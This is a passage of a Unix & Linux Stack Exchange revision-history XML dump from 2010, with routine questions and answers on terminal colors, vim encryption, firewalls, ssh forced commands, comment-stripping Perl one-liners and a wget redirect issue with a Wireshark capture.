  <row Id="7565" PostHistoryTypeId="2" PostId="3549" RevisionGUID="313aae23-434c-4386-9b33-729d5f597d62" CreationDate="2010-10-27T01:29:58.047" UserId="885" Text="Yes, provided konsole supports the Change Color escape sequence. From the Xterm control sequence document ([ctlseqs](http://invisible-island.net/xterm/xterm.faq.html#ctlseqs_ms)):&#xD;&#xA;&#xD;&#xA;&gt; OSC Ps ; Pt BEL&#xD;&#xA;&#xD;&#xA;&gt; Ps = 4  ; c ; spec -&gt; Change Color Number c to the color specified by spec, i.e., a name or RGB specification as per XParseColor.  Any number of c name pairs may be given.  The color numbers correspond to the ANSI colors 0-7, their bright versions 8-15, and if supported, the remainder of the 88-color or 256-color table.&#xD;&#xA;&#xD;&#xA;What this means is that the control sequence &lt;code&gt;\\e]4;&lt;em&gt;NUMBER&lt;/em&gt;;&lt;em&gt;VALUE&lt;/em&gt;\\a&lt;/code&gt; will change the appearance of color *NUMBER*. *NUMBER* is a color number (0–7 for the eight basic colors, 8–15 for the bright versions, and more if the terminal supports more colors). The *VALUE* is something that [XParseColor](http://www.x.org/archive/X11R6.8.1/doc/XParseColor.3.html) understands, such as an RGB specification `#123456` or an [X color name](http://en.wikipedia.org/wiki/X11_color_names) (look for `rgb.txt` on your machine, or use `xcolors` to see the possibilities).&#xD;&#xA;&#xD;&#xA;For example, the following command changes the basic blue color (color 4) and its bright variant (4+8) to contain some green:&#xD;&#xA;&#xD;&#xA;    printf '\033]4;4;#004080;12;#0040ff\007'&#xD;&#xA;&#xD;&#xA;Note that this changes every character currently displayed in this particular color in the window. There is no way to change the meaning of a color only for subsequently displayed characters; if that's what you want, you'll have to configure each program displaying inside the terminal to use different color numbers when talking to the terminal.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;The best place to put these control sequences is in your `.bashrc` or `.zshrc`, as they apply to each terminal. You can use the presence of the environment variable `SSH_CLIENT` to detect that the shell is running under an ssh session.&#xD;&#xA;" />
  <row Id="7566" PostHistoryTypeId="2" PostId="3550" RevisionGUID="4eef6628-a6b2-4094-baed-583ca28619bc" CreationDate="2010-10-27T02:39:54.583" UserId="29" Text="I read `man vim`, `:h -x` and `:h encryption` none of this actually says what algorithm it's encrypted with." />
  <row Id="7567" PostHistoryTypeId="1" PostId="3550" RevisionGUID="4eef6628-a6b2-4094-baed-583ca28619bc" CreationDate="2010-10-27T02:39:54.583" UserId="29" Text="What encryption does vim -x use?" />
  <row Id="7568" PostHistoryTypeId="3" PostId="3550" RevisionGUID="4eef6628-a6b2-4094-baed-583ca28619bc" CreationDate="2010-10-27T02:39:54.583" UserId="29" Text="ésecurityàévimàéencryptionà" />
  <row Id="7569" PostHistoryTypeId="2" PostId="3551" RevisionGUID="021a3628-50ab-48bc-8552-7caa241b7878" CreationDate="2010-10-27T03:08:17.383" UserId="1898" Text="I know that they added support for blowfish encryption in 7.3. Other than that it's zip.&#xD;&#xA;&#xD;&#xA;If you're using 7.3 go:&#xD;&#xA;&#xD;&#xA;    set cryptmethod?&#xD;&#xA;&#xD;&#xA;to see what method you're using.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7570" PostHistoryTypeId="2" PostId="3552" RevisionGUID="3cb3d02c-3b2b-40bf-bdbd-bfb488020d7c" CreationDate="2010-10-27T03:13:52.020" UserId="1779" Text="`:h 'cryptmethod'` says that PkZip and Blowfish (new in Vim 7.3) are possible encryption methods.  A look around `FEAT_CRYPT` in [vim/src/misc2.c](http://code.google.com/p/vim/source/browse/src/misc2.c) confirms it.&#xD;&#xA;&#xD;&#xA;The weak encryption method is documented in [PKWARE's zip file format documentation](http://www.pkware.com/documents/casestudies/APPNOTE.TXT), and the new strong encryption is documented on [Bruce Schneier's Blowfish page](http://www.schneier.com/blowfish.html)." />
  <row Id="7571" PostHistoryTypeId="5" PostId="3551" RevisionGUID="c222d10e-2a55-429a-bdb5-f03c688f808c" CreationDate="2010-10-27T03:16:38.477" UserId="1898" Comment="added 1 characters in body" Text="I know that they added support for blowfish encryption in 7.3. Other than that it's zip.&#xD;&#xA;&#xD;&#xA;If you're using 7.3 go:&#xD;&#xA;&#xD;&#xA;    :set cryptmethod?&#xD;&#xA;&#xD;&#xA;to see what method you're using.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7572" PostHistoryTypeId="2" PostId="3553" RevisionGUID="3f0f642e-f599-4869-a66c-88445a3658d3" CreationDate="2010-10-27T03:58:27.327" UserId="1460" Text="unstable repositories contain right now the 5.3.3-2 version of php.  &#xD;&#xA;&#xD;&#xA;Using a test environment, add unstable to your sources-list and just try:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    apt-get update&#xD;&#xA;    apt-get install php5&#xD;&#xA;&#xD;&#xA;In my previous experience, it works very well.  If you're using non-standard modules, check for compatibility before trying to upgrade.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7573" PostHistoryTypeId="2" PostId="3554" RevisionGUID="66d4d58a-c6a0-4e3e-ad4b-48b8c259eb34" CreationDate="2010-10-27T04:05:04.870" UserId="1460" Text="give a try at [shorewall][1]... I'm pretty happy with it and I feel it is very easy to configure whatever I need. (Including traffic shaping, NAT, DNAT and other things).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.shorewall.net/" />
  <row Id="7574" PostHistoryTypeId="2" PostId="3555" RevisionGUID="0d661fde-4ea5-453a-a3b3-d3ce39282782" CreationDate="2010-10-27T05:14:03.100" UserId="2327" Text="This will do it in Perl:&#xD;&#xA;&#xD;&#xA;    //will delete all comments starting at the beginning of the line with //&#xD;&#xA;    perl -p -i -e &quot;s#^//.*$##&quot; &lt;your php file&gt;&#xD;&#xA;    //will delete all comments starting somewhere in a line with //&#xD;&#xA;    perl -p -i -e &quot;s#^(.*)//.*$#\$1#&quot; &lt;your php file&gt;&#xD;&#xA;    //will delete all comments starting somewhere in a line with /* or /**&#xD;&#xA;    perl -p -i -e &quot;s#^(.*)/\*+.*$#\$1#&quot; &lt;your php file&gt;&#xD;&#xA;    //will delete all comments starting at the beginning of the line with /* or /**&#xD;&#xA;    perl -p -i -e &quot;s#^/\*+.*$##&quot; &lt;your php file&gt;&#xD;&#xA;&#xD;&#xA;These commands will not delete comments with multiple lines, like  &#xD;&#xA;&#xD;&#xA;    /**&#xD;&#xA;     *&#xD;&#xA;     *&#xD;&#xA;     */&#xD;&#xA;&#xD;&#xA;It is possible to do this, but multi line regex are way more difficult.&#xD;&#xA;&#xD;&#xA;There will also be solutions for awk, sed, python, ... But this should also do it.&#xD;&#xA; " />
  <row Id="7575" PostHistoryTypeId="5" PostId="2546" RevisionGUID="ab664f7e-7acc-4198-b922-8ef9edb8ffd8" CreationDate="2010-10-27T05:33:49.960" UserId="1327" Comment="deleted 14 characters in body; edited title; added 2 characters in body; edited tags" Text="I have to install a firewall on my server (so without X Server). It's a debian lenny. If it is possible, I want to avoid the use of `iptables`. Is there a way to install/configure a firewall for a newbie ?" />
  <row Id="7576" PostHistoryTypeId="4" PostId="2546" RevisionGUID="ab664f7e-7acc-4198-b922-8ef9edb8ffd8" CreationDate="2010-10-27T05:33:49.960" UserId="1327" Comment="deleted 14 characters in body; edited title; added 2 characters in body; edited tags" Text="Debian: Which firewall for a newbie?" />
  <row Id="7577" PostHistoryTypeId="6" PostId="2546" RevisionGUID="ab664f7e-7acc-4198-b922-8ef9edb8ffd8" CreationDate="2010-10-27T05:33:49.960" UserId="1327" Comment="deleted 14 characters in body; edited title; added 2 characters in body; edited tags" Text="ésecurityàédebianàéfirewallàéheadlessà" />
  <row Id="7578" PostHistoryTypeId="5" PostId="3544" RevisionGUID="0d77404b-d3bb-4ebb-a1ec-58f9665889d0" CreationDate="2010-10-27T05:42:43.757" UserId="1327" Comment="added 76 characters in body; edited tags" Text="What's the best way to strip all code **comments** in a given directory?  I'd like to strip out all `// ... EOL` **comments**, and `/* blah \*/` (or `/** ... \*/`) **comments** as well.&#xD;&#xA;&#xD;&#xA;This is a PHP project, and I'd like to go a little further than what is outlined below, yet for security purposes rather than efficiency.&#xD;&#xA;&#xD;&#xA; - [Zend Frameword: Documentation Class Loading][1] - Strip require_once calls with find and set.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Any help would be greatly appreciated.&#xD;&#xA;&#xD;&#xA;[1]:http://zendframework.com/manual/en/performance.classloading.html" />
  <row Id="7579" PostHistoryTypeId="6" PostId="3544" RevisionGUID="0d77404b-d3bb-4ebb-a1ec-58f9665889d0" CreationDate="2010-10-27T05:42:43.757" UserId="1327" Comment="added 76 characters in body; edited tags" Text="écommandölineàébashà" />
  <row Id="7580" PostHistoryTypeId="2" PostId="3556" RevisionGUID="3286007e-215b-4c85-af10-8fe57b92f707" CreationDate="2010-10-27T06:59:57.653" UserId="2448" Text="Is there a way to create a user account in Solaris which allows the users to run one command only? No login shell or anything else. I could possibly do it with /usr/bin/false in the /etc/passwd file and just get the user to ssh &lt;hostname&gt; &lt;command&gt; but is there a nicer way to do it?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="7581" PostHistoryTypeId="1" PostId="3556" RevisionGUID="3286007e-215b-4c85-af10-8fe57b92f707" CreationDate="2010-10-27T06:59:57.653" UserId="2448" Text="Creating a UNIX account which only executes one command" />
  <row Id="7582" PostHistoryTypeId="3" PostId="3556" RevisionGUID="3286007e-215b-4c85-af10-8fe57b92f707" CreationDate="2010-10-27T06:59:57.653" UserId="2448" Text="éunixàéloginà" />
  <row Id="7583" PostHistoryTypeId="2" PostId="3557" RevisionGUID="2db31081-f5ac-4e6c-9772-d818cc38d975" CreationDate="2010-10-27T07:34:26.173" UserId="1131" Text="[A quick google search returns a similar question at stackoverflow.][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/503871/best-way-to-automatically-remove-comments-from-php-code" />
  <row Id="7584" PostHistoryTypeId="2" PostId="3558" RevisionGUID="bdced5d5-212b-4b0f-85f6-eb7d9989f62b" CreationDate="2010-10-27T08:04:26.737" UserId="33" Text="You could set the shell of that user to a script just running the command you want to allow: Whenever the user logs in, the command is run, then the user is logged out. And since there's no &quot;full shell&quot; you don't have to deal with the user trying funky stuff ;)" />
  <row Id="7585" PostHistoryTypeId="2" PostId="3559" RevisionGUID="22371570-66fb-4013-8e4c-f12443adc827" CreationDate="2010-10-27T09:20:03.540" UserId="1416" Text="You could used a [forced command][1] if the users can only connect through ssh. Essentially, whenever the user connects through ssh with a certain key and a certain username, you force him to execute a command (or a script or) you determined in the .ssh/authorized_keys. Commands issued by the users will be ignored.&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;    # in .ssh/authorized_keys&#xD;&#xA;    command=&quot;cd /foo/bar &amp;&amp; /path/to/scripts/my_script.sh arg1 arg2&quot;, ssh-rsa public_key&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://oreilly.com/catalog/sshtdg/chapter/ch08.html" />
  <row Id="7586" PostHistoryTypeId="5" PostId="3543" RevisionGUID="4cf1bf58-084e-43b0-a99a-3ff4cfab04ae" CreationDate="2010-10-27T09:49:45.073" UserId="653" Comment="added 1421 characters in body" Text="Hello everyone,&#xD;&#xA;Sometimes, I use KDE, and one of the things that I like the most in KDE 4 is the activity concept. At work, it is very useful because I often work on several different projects during one day. Switching to another activity enables me to change the widgets, so that I can have access to folders related to the current project, for instance.&#xD;&#xA;&#xD;&#xA;I've decided to use this concept in the shell, so I have coded a small bash function called &quot;switch&quot;, which sets aliases useful for the current project, e.g. alias cdwww=~/public_html/current_project/www , and so on.&#xD;&#xA;&#xD;&#xA;My question is : Is there a way I can synchronise KDE activities with shell activities, that is calling 'switch myproj' on every opened terminal when switching to activity 'myproj' through KDE and *vice versa* (bonus question)?&#xD;&#xA;&#xD;&#xA;EDIT: here is the switch function, located at the end of my .bashrc file, feel free to comment:&#xD;&#xA;&#xD;&#xA;    function switch() {&#xD;&#xA;    &#xD;&#xA;        if [ ! -d ~/.switch ]&#xD;&#xA;        then&#xD;&#xA;            mkdir ~/.switch&#xD;&#xA;        fi&#xD;&#xA;    &#xD;&#xA;        if [ ! -f ~/.switch/proj.save ]&#xD;&#xA;        then&#xD;&#xA;            touch ~/.switch/proj.save&#xD;&#xA;        fi&#xD;&#xA;    &#xD;&#xA;        echo &quot;$1&quot; &gt; ~/.switch/proj.save&#xD;&#xA;    &#xD;&#xA;        case $1 in&#xD;&#xA;        meddispar )&#xD;&#xA;            echo &quot;Switching to meddispar...&quot;&#xD;&#xA;    &#xD;&#xA;            echo &quot;setting cdproj alias&quot;&#xD;&#xA;            alias cdproj=&quot;cd ~/public_html/onp/&quot;&#xD;&#xA;    &#xD;&#xA;            echo &quot;setting cdwww alias&quot;&#xD;&#xA;            alias cdwww=&quot;cd ~/public_html/onp/www/&quot;&#xD;&#xA;    &#xD;&#xA;            echo &quot;setting cc alias&quot;&#xD;&#xA;            alias cc=&quot;cdwww &amp;&amp; php bin/php/ezcache.php --clear-all --purge &amp;&amp; cd -&quot;&#xD;&#xA;        ;;&#xD;&#xA;        darjeeling )&#xD;&#xA;            echo &quot;Switching to darjeeling...&quot;&#xD;&#xA;    &#xD;&#xA;            echo &quot;setting cdproj alias&quot;&#xD;&#xA;            alias cdproj=&quot;cd ~/public_html/darjeeling/&quot;&#xD;&#xA;    &#xD;&#xA;            echo &quot;setting cdwww alias&quot;&#xD;&#xA;            alias cdwww=&quot;cd ~/public_html/darjeeling/www/&quot;&#xD;&#xA;    &#xD;&#xA;            echo &quot;setting cc alias&quot;&#xD;&#xA;            alias cc=&quot;rm -rf ~/public_html/darjeeling/www/var/cache/*&quot;&#xD;&#xA;        ;;&#xD;&#xA;        * )&#xD;&#xA;            echo &quot;'$1'? WTF?&quot;&#xD;&#xA;            rm ~/.switch/proj.save&#xD;&#xA;        ;;&#xD;&#xA;        esac&#xD;&#xA;    }&#xD;&#xA;    if [ -f ~/.switch/proj.save ]&#xD;&#xA;    then&#xD;&#xA;         switch `cat ~/.switch/proj.save`&#xD;&#xA;    fi" />
  <row Id="7587" PostHistoryTypeId="2" PostId="3560" RevisionGUID="340ea522-0d48-4fc2-ad58-54941785749f" CreationDate="2010-10-27T11:33:53.060" UserId="1523" Text="I have Ubuntu 10.04 installed on a T410 and all drivers were in the distro. I did make sure to get the model with Intel video and wireless chips though, as these are well supported." />
  <row Id="7588" PostHistoryTypeId="5" PostId="3310" RevisionGUID="4cd47359-c809-4f98-a84d-280a056241f0" CreationDate="2010-10-27T11:42:10.410" UserId="73" Comment="deleted 75 characters in body" Text="Is there any existing step by step guide instructing how to install 2 different Linux OSs (say, Red Hat and SUSE), and Windows OS on the same machine?&#xD;&#xA;&#xD;&#xA;(When tried it I entangled with the partitions configuration, and I've heard from others that the secondary Linux has to be installed without its boot loader).&#xD;&#xA;" />
  <row Id="7589" PostHistoryTypeId="2" PostId="3561" RevisionGUID="d5eb21e6-d4ac-45ac-83b5-66b4b2874bfd" CreationDate="2010-10-27T12:13:33.370" UserId="2156" Text="I have problem with wget behavior for 1.10 and later versions.&#xD;&#xA;&#xD;&#xA;I am using wget to download a report from my app. &#xD;&#xA;&#xD;&#xA;**version 1.10.2:**&#xD;&#xA;&#xD;&#xA;    &gt;wget-1.10.2.exe --http-user=trader --http-passwd=trader http://192.168.1.222:8080/myapp/reports/FP201010271100 &#xD;&#xA;    --11:52:46--  http://192.168.1.222:8080/myapp/reports/FP201010271100&#xD;&#xA;               =&gt; `FP201010271100.5'&#xD;&#xA;    Connecting to 192.168.1.222:8080... connected.&#xD;&#xA;    HTTP request sent, awaiting response... 200 OK&#xD;&#xA;    Length: unspecified [text/csv]&#xD;&#xA;        [ &lt;=&gt;                  ] 82,068        --.--K/s&#xD;&#xA;    11:52:46 (1019.65 KB/s) - `FP201010271100' saved [82068]&#xD;&#xA;&#xD;&#xA;**version 1.11.4:**&#xD;&#xA;&#xD;&#xA;    &gt;wget-1.11.4.exe --http-user=trader --http-passwd=trader http://192.168.1.222:8080/myapp/reports/FP201010271100&#xD;&#xA;    --2010-10-27 12:15:10--  http://192.168.1.222:8080/myapp/reports/FP201010271100&#xD;&#xA;    Connecting to 192.168.1.222:8080... connected.&#xD;&#xA;    HTTP request sent, awaiting response... 302 Found&#xD;&#xA;    Location: http://192.168.1.222:8080/myapp/spring_security_login [following]&#xD;&#xA;    --2010-10-27 12:15:10--  http://192.168.1.222:8080/myapp/spring_security_login&#xD;&#xA;    Reusing existing connection to 192.168.1.222:8080.&#xD;&#xA;    HTTP request sent, awaiting response... 404 Not Found&#xD;&#xA;    2010-10-27 12:15:10 ERROR 404: Not Found.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Do I need to add some parameter for version 1.11 and later?&#xD;&#xA;" />
  <row Id="7590" PostHistoryTypeId="1" PostId="3561" RevisionGUID="d5eb21e6-d4ac-45ac-83b5-66b4b2874bfd" CreationDate="2010-10-27T12:13:33.370" UserId="2156" Text="Difference between wget versions" />
  <row Id="7591" PostHistoryTypeId="3" PostId="3561" RevisionGUID="d5eb21e6-d4ac-45ac-83b5-66b4b2874bfd" CreationDate="2010-10-27T12:13:33.370" UserId="2156" Text="écommandölineàénetworkingà" />
  <row Id="7592" PostHistoryTypeId="2" PostId="3562" RevisionGUID="c5e4b5ab-86ee-4134-bb52-f4370c33cf16" CreationDate="2010-10-27T12:23:10.050" UserId="33" Text="I just checked with wget 1.12 here on my machine and your parameters are fine. The output looks as if the server sends different data to both processes though:&#xD;&#xA;&#xD;&#xA;The first directly gives you &quot;200&quot; (as in everything is fine) the second sends a &quot;302&quot; meaning redirect. The page it redirects to (http://192.168.1.222:8080/myapp/spring_security_login) doesn't exist though. I'd look at the server app first, because basic HTTP auth hasn't afaik changed in wget in quite a while (all my scripts still run and some of them are years old)" />
  <row Id="7593" PostHistoryTypeId="6" PostId="3561" RevisionGUID="4f93a7ea-baa9-4c95-9542-641baa1f96a0" CreationDate="2010-10-27T12:27:51.770" UserId="73" Comment="edited tags" Text="écommandölineàénetworkingàéwgetà" />
  <row Id="7594" PostHistoryTypeId="5" PostId="3561" RevisionGUID="876bc3fa-4373-41dc-9ac6-fab7d5a6c1a4" CreationDate="2010-10-27T13:04:45.227" UserId="2156" Comment="Wireshark dump" Text="I have problem with wget behavior for 1.10 and later versions.&#xD;&#xA;&#xD;&#xA;I am using wget to download a report from my app. &#xD;&#xA;&#xD;&#xA;**version 1.10.2:**&#xD;&#xA;&#xD;&#xA;    &gt;wget-1.10.2.exe --http-user=trader --http-passwd=trader http://192.168.1.222:8080/myapp/reports/FP201010271100 &#xD;&#xA;    --11:52:46--  http://192.168.1.222:8080/myapp/reports/FP201010271100&#xD;&#xA;               =&gt; `FP201010271100.5'&#xD;&#xA;    Connecting to 192.168.1.222:8080... connected.&#xD;&#xA;    HTTP request sent, awaiting response... 200 OK&#xD;&#xA;    Length: unspecified [text/csv]&#xD;&#xA;        [ &lt;=&gt;                  ] 82,068        --.--K/s&#xD;&#xA;    11:52:46 (1019.65 KB/s) - `FP201010271100' saved [82068]&#xD;&#xA;&#xD;&#xA;**version 1.11.4:**&#xD;&#xA;&#xD;&#xA;    &gt;wget-1.11.4.exe --http-user=trader --http-passwd=trader http://192.168.1.222:8080/myapp/reports/FP201010271100&#xD;&#xA;    --2010-10-27 12:15:10--  http://192.168.1.222:8080/myapp/reports/FP201010271100&#xD;&#xA;    Connecting to 192.168.1.222:8080... connected.&#xD;&#xA;    HTTP request sent, awaiting response... 302 Found&#xD;&#xA;    Location: http://192.168.1.222:8080/myapp/spring_security_login [following]&#xD;&#xA;    --2010-10-27 12:15:10--  http://192.168.1.222:8080/myapp/spring_security_login&#xD;&#xA;    Reusing existing connection to 192.168.1.222:8080.&#xD;&#xA;    HTTP request sent, awaiting response... 404 Not Found&#xD;&#xA;    2010-10-27 12:15:10 ERROR 404: Not Found.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Do I need to add some parameter for version 1.11 and later?&#xD;&#xA;&#xD;&#xA;##Update - Wireshark dump##&#xD;&#xA;**version 1.10.2:**&#xD;&#xA;&#xD;&#xA;    No.     Time        Source                Destination           Protocol Info&#xD;&#xA;         17 13.756462   10.0.2.15             172.25.9.238          TCP      kazaa &gt; glrpc [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1&#xD;&#xA;         18 13.767667   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [SYN, ACK] Seq=0 Ack=1 Win=65535 Len=0 MSS=1460&#xD;&#xA;         19 13.767721   10.0.2.15             172.25.9.238          TCP      kazaa &gt; glrpc [ACK] Seq=1 Ack=1 Win=64240 Len=0&#xD;&#xA;         20 13.774991   10.0.2.15             172.25.9.238          TCP      kazaa &gt; glrpc [PSH, ACK] Seq=1 Ack=1 Win=64240 Len=189&#xD;&#xA;         21 13.776327   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [ACK] Seq=1 Ack=190 Win=65535 Len=0&#xD;&#xA;         22 13.933894   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [ACK] Seq=1 Ack=190 Win=65535 Len=1420&#xD;&#xA;         23 13.934039   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [PSH, ACK] Seq=1421 Ack=190 Win=65535 Len=1276&#xD;&#xA;         24 13.934180   10.0.2.15             172.25.9.238          TCP      kazaa &gt; glrpc [ACK] Seq=190 Ack=2697 Win=64240 Len=0&#xD;&#xA;         25 13.935194   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [PSH, ACK] Seq=2697 Ack=190 Win=65535 Len=1348&#xD;&#xA;         26 13.945109   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [PSH, ACK] Seq=4045 Ack=190 Win=65535 Len=1348&#xD;&#xA;         27 13.945473   10.0.2.15             172.25.9.238          TCP      kazaa &gt; glrpc [ACK] Seq=190 Ack=5393 Win=64240 Len=0&#xD;&#xA;         28 13.948389   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [ACK] Seq=5393 Ack=190 Win=65535 Len=1420&#xD;&#xA;         29 13.948443   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [ACK] Seq=6813 Ack=190 Win=65535 Len=1420&#xD;&#xA;         30 13.948491   10.0.2.15             172.25.9.238          TCP      kazaa &gt; glrpc [ACK] Seq=190 Ack=8233 Win=64240 Len=0&#xD;&#xA;         31 13.948555   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [ACK] Seq=8233 Ack=190 Win=65535 Len=1420&#xD;&#xA;         32 13.948604   10.0.2.15             172.25.9.238          TCP      kazaa &gt; glrpc [ACK] Seq=190 Ack=9653 Win=62820 Len=0&#xD;&#xA;         33 13.948650   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [PSH, ACK] Seq=9653 Ack=190 Win=65535 Len=1132&#xD;&#xA;         34 13.954507   10.0.2.15             172.25.9.238          TCP      kazaa &gt; glrpc [ACK] Seq=190 Ack=10785 Win=64240 Len=0&#xD;&#xA;         35 13.955210   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [PSH, ACK] Seq=10785 Ack=190 Win=65535 Len=1348&#xD;&#xA;         36 13.972055   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [PSH, ACK] Seq=12133 Ack=190 Win=65535 Len=1348&#xD;&#xA;         37 13.972179   10.0.2.15             172.25.9.238          TCP      kazaa &gt; glrpc [ACK] Seq=190 Ack=13481 Win=64240 Len=0&#xD;&#xA;         38 13.973166   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [PSH, ACK] Seq=13481 Ack=190 Win=65535 Len=1348&#xD;&#xA;         39 13.973230   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [PSH, ACK] Seq=14829 Ack=190 Win=65535 Len=1348&#xD;&#xA;         40 13.973290   10.0.2.15             172.25.9.238          TCP      kazaa &gt; glrpc [ACK] Seq=190 Ack=16177 Win=64240 Len=0&#xD;&#xA;         41 13.975002   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [PSH, ACK] Seq=16177 Ack=190 Win=65535 Len=1348&#xD;&#xA;         42 13.975035   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [PSH, ACK] Seq=17525 Ack=190 Win=65535 Len=1348&#xD;&#xA;         43 13.975057   10.0.2.15             172.25.9.238          TCP      kazaa &gt; glrpc [ACK] Seq=190 Ack=18873 Win=64240 Len=0&#xD;&#xA;         44 13.975210   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [PSH, ACK] Seq=18873 Ack=190 Win=65535 Len=1348&#xD;&#xA;         45 13.975523   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [PSH, ACK] Seq=20221 Ack=190 Win=65535 Len=1348&#xD;&#xA;         46 13.975553   10.0.2.15             172.25.9.238          TCP      kazaa &gt; glrpc [ACK] Seq=190 Ack=21569 Win=64240 Len=0&#xD;&#xA;         47 13.983036   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [PSH, ACK] Seq=21569 Ack=190 Win=65535 Len=1348&#xD;&#xA;         48 13.983260   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [ACK] Seq=22917 Ack=190 Win=65535 Len=1420&#xD;&#xA;         49 13.983290   10.0.2.15             172.25.9.238          TCP      kazaa &gt; glrpc [ACK] Seq=190 Ack=24337 Win=64240 Len=0&#xD;&#xA;         50 13.983324   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [PSH, ACK] Seq=24337 Ack=190 Win=65535 Len=1276&#xD;&#xA;         51 13.983833   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [PSH, ACK] Seq=25613 Ack=190 Win=65535 Len=1348&#xD;&#xA;         52 13.983867   10.0.2.15             172.25.9.238          TCP      kazaa &gt; glrpc [ACK] Seq=190 Ack=26961 Win=64240 Len=0&#xD;&#xA;         53 13.984210   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [PSH, ACK] Seq=26961 Ack=190 Win=65535 Len=1348&#xD;&#xA;         54 13.984641   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [ACK] Seq=28309 Ack=190 Win=65535 Len=1420&#xD;&#xA;         55 13.984672   10.0.2.15             172.25.9.238          TCP      kazaa &gt; glrpc [ACK] Seq=190 Ack=29729 Win=64240 Len=0&#xD;&#xA;         56 13.984705   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [PSH, ACK] Seq=29729 Ack=190 Win=65535 Len=1276&#xD;&#xA;         57 13.984946   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [PSH, ACK] Seq=31005 Ack=190 Win=65535 Len=1348&#xD;&#xA;         58 13.984968   10.0.2.15             172.25.9.238          TCP      kazaa &gt; glrpc [ACK] Seq=190 Ack=32353 Win=64240 Len=0&#xD;&#xA;         59 13.986763   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [PSH, ACK] Seq=32353 Ack=190 Win=65535 Len=1348&#xD;&#xA;         60 13.986792   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [ACK] Seq=33701 Ack=190 Win=65535 Len=1420&#xD;&#xA;         61 13.987044   10.0.2.15             172.25.9.238          TCP      kazaa &gt; glrpc [ACK] Seq=190 Ack=35121 Win=64240 Len=0&#xD;&#xA;         62 13.987088   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [PSH, ACK] Seq=35121 Ack=190 Win=65535 Len=1276&#xD;&#xA;         63 13.987180   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [PSH, ACK] Seq=36397 Ack=190 Win=65535 Len=1348&#xD;&#xA;         64 13.987194   10.0.2.15             172.25.9.238          TCP      kazaa &gt; glrpc [ACK] Seq=190 Ack=37745 Win=64240 Len=0&#xD;&#xA;         65 13.993156   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [ACK] Seq=37745 Ack=190 Win=65535 Len=1420&#xD;&#xA;         66 13.993181   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [PSH, ACK] Seq=39165 Ack=190 Win=65535 Len=1276&#xD;&#xA;         67 13.993220   10.0.2.15             172.25.9.238          TCP      kazaa &gt; glrpc [ACK] Seq=190 Ack=40441 Win=64240 Len=0&#xD;&#xA;         68 14.013124   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [PSH, ACK] Seq=40441 Ack=190 Win=65535 Len=1348&#xD;&#xA;         69 14.014498   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [ACK] Seq=41789 Ack=190 Win=65535 Len=1420&#xD;&#xA;         70 14.014539   10.0.2.15             172.25.9.238          TCP      kazaa &gt; glrpc [ACK] Seq=190 Ack=43209 Win=64240 Len=0&#xD;&#xA;         71 14.014574   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [PSH, ACK] Seq=43209 Ack=190 Win=65535 Len=1276&#xD;&#xA;         72 14.014585   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [PSH, ACK] Seq=44485 Ack=190 Win=65535 Len=1348&#xD;&#xA;         73 14.014595   10.0.2.15             172.25.9.238          TCP      kazaa &gt; glrpc [ACK] Seq=190 Ack=45833 Win=64240 Len=0&#xD;&#xA;         74 14.015232   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [PSH, ACK] Seq=45833 Ack=190 Win=65535 Len=1348&#xD;&#xA;         75 14.015248   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [PSH, ACK] Seq=47181 Ack=190 Win=65535 Len=1348&#xD;&#xA;         76 14.015263   10.0.2.15             172.25.9.238          TCP      kazaa &gt; glrpc [ACK] Seq=190 Ack=48529 